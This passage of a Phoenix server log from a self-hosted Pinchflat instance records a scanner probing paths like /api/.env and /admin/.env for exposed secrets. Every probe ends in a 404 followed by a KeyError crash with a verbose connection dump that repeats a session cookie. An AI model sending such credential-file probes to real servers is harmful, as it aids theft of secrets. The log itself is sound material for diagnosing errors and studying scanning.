~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 40, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 40, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:09.991 [info] GET /web/.env 02:10:09.992 [debug] QUERY OK source="settings" db=0.1ms idle=196.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.992 [debug] QUERY OK source="settings" db=0.1ms idle=196.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.992 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.992 [error] #PID<0.3345.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 41) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /web/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 41, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3345.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/web/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6OOafCsVbt0AAQoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 41, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 41, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:10.090 [info] GET /site/.env 02:10:10.091 [debug] QUERY OK source="settings" db=0.4ms idle=188.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.091 [debug] QUERY OK source="settings" db=0.3ms idle=188.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.091 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:10.092 [error] #PID<0.3346.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 42) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /site/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 42, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3346.0>, params: %{}, path_info: ["site", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/site/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Ol1v-09GAEAAQpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 42, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 42, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:10.192 [info] GET /public/.env 02:10:10.194 [debug] QUERY OK source="settings" db=0.5ms idle=250.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.194 [debug] QUERY OK source="settings" db=0.2ms idle=201.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.194 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:10.195 [error] #PID<0.3347.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 43) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /public/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 43, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3347.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6O-Uu_7rC_oAAQqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 43, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 43, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fal (truncated) 02:10:10.310 [info] GET /admin/.env 02:10:10.311 [debug] QUERY OK source="settings" db=0.2ms idle=318.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 